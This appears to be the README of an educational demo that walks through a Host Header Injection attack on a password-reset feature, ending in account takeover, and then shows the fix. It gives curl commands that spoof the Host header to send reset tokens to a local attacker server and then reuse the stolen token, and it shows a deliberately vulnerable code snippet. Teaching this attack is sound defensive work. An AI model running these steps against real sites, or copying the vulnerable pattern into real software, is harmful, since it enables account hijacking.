Warning:
[DISCLAIMER] This project is for educational purposes only and is intended to demonstrate a cryptographic vulnerability. It is not intended for malicious use. The author is not responsible for any misuse of this information or the provided code.
Welcome! This interactive demo will walk you through a complete, end-to-end Host Header Injection attack. You'll play the role of both the user and the attacker to understand how a single, seemingly small vulnerability can lead to a total account takeover.
We'll see how an attacker can trick a server into sending a malicious password reset link, steal the secret token, and then use that token to change the victim's password and lock them out of their own account.
Let's begin.
Our demo consists of three parts:
- The Victim's Application (
vulnerable-server.js): A Node.js server with a password reset feature. Its critical flaw is that it trusts theHostheader from incoming requests to generate the password reset links. We'll see its logs in blue 🔵. - The Attacker's Server (
attacker-server.js): A malicious Node.js server controlled by the attacker. Its only job is to listen for incoming requests and log any secret tokens it captures. We'll see its logs in red 🔴. - The Frontend UI (
index.html): A simple web page where a user would go to request a password reset. This is the entry point for the entire process.
Before you start, make sure you have the following installed:
- Node.js (v18 or higher)
pnpm(or you can substitutenpmoryarnin the commands)
First, let's get the project set up and all dependencies installed.
-
Install Backend Dependencies: Navigate to the
backenddirectory and install the required packages.cd backend pnpm install -
Install Frontend Dependencies: Navigate to the
frontenddirectory and install its packages.cd ../frontend pnpm install
Now that everything is installed, let's run the simulation. We'll walk through this step-by-step.
First, let's see how the application is supposed to work.
-
Start the Servers: Go to your
backenddirectory. We'll use the convenientstartscript to launch both the vulnerable and attacker servers simultaneously.# In the /backend directory pnpm startYou should see both the blue 🔵
[VULNERABLE SERVER]and red 🔴[ATTACKER'S SERVER]logs, indicating they are running. -
Start the Frontend: In a new terminal window, navigate to the
frontenddirectory and start the Vite development server.# In the /frontend directory pnpm devVite will give you a local URL (usually
http://localhost:5173). Open this URL in your browser. -
Request a Password Reset: In the browser, you'll see the UI. The email
user@victim.comis already filled in. Click the "Initiate Password Reset" button. The UI will confirm the request was sent. -
Check the Logs: Look at your backend terminal. You will see a beautifully formatted, blue 🔵 log that simulates the email being sent. Notice the link inside—it correctly points to
http://localhost:3000/.... This is the expected, legitimate behavior.
Now, let's put on our black hat. An attacker won't use the UI. They will use a tool like curl to craft a malicious request.
-
Craft the Malicious Request: Open a third terminal window. We will send a
POSTrequest to the vulnerable server, but we'll inject our ownHostheader that points to our attacker's server (localhost:9090).Copy and run the following command:
curl -X POST http://localhost:3000/request-password-reset \ -H "Content-Type: application/json" \ -H "Host: localhost:9090" \ -d '{"email":"user@victim.com"}'
-
Witness the Deception: Go back to your backend terminal immediately. You will see a new simulated email get logged. But look closely! The server, trusting our fake
Hostheader, has created a password reset link that now points to the attacker's server:http://localhost:9090/....The server was successfully tricked.
The malicious link has been generated. In the real world, the victim would receive this in an email. Let's simulate the victim clicking on it.
-
Click the Malicious Link: From your backend terminal, copy the malicious URL (
http://localhost:9090/reset-password?token=...) from the second email log. -
Paste it into your browser's address bar and press Enter.
-
Check the Attacker's Log: Switch back to your backend terminal. The moment you hit Enter, the attacker's server springs to life! You'll see a bright red 🔴 log confirming the TOKEN CAPTURED. It will also give you the next command needed to complete the takeover.
The attacker now possesses the key to the kingdom—the secret token. The final step is to use it.
-
Use the Stolen Token: The attacker's log has already printed the exact
curlcommand needed. It includes the stolen token and a new password (hackedPassword123).Copy that final
curlcommand from the red 🔴 log and run it in your terminal.# This command is printed in your attacker's log curl -X POST http://localhost:3000/reset-password -H "Content-Type: application/json" -d '{"token":"[THE_CAPTURED_TOKEN]","newPassword":"hackedPassword123"}'
-
Confirm the Takeover: Look at the backend terminal one last time. You will see a blue 🔵 log with a chilling yellow 🟡 warning:
ACCOUNT TAKEOVER! Password for user with token "..." has been changed to "hackedPassword123"!
The attack is complete. The user's password has been changed without their knowledge, and the attacker has full control of the account.
How do we prevent this? The fix is simple but crucial:
Never trust user-controllable input for security-sensitive operations. The Host header is user input.
The server must know its own domain. Instead of using the header, use a hardcoded configuration value.
The Vulnerable Code (vulnerable-server.js):
// The application blindly trusts the user-controlled 'Host' header
const host = req.headers.host;
const resetLink = `http://${host}/reset-password?token=${token}`;The Secure Code:
// The application uses a fixed, trusted configuration value
const APP_BASE_URL = 'http://localhost:3000'; // In production: 'https://your-real-domain.com'
const resetLink = `${APP_BASE_URL}/reset-password?token=${token}`;By making this change, no matter what an attacker puts in the Host header, the generated link will always be correct and safe.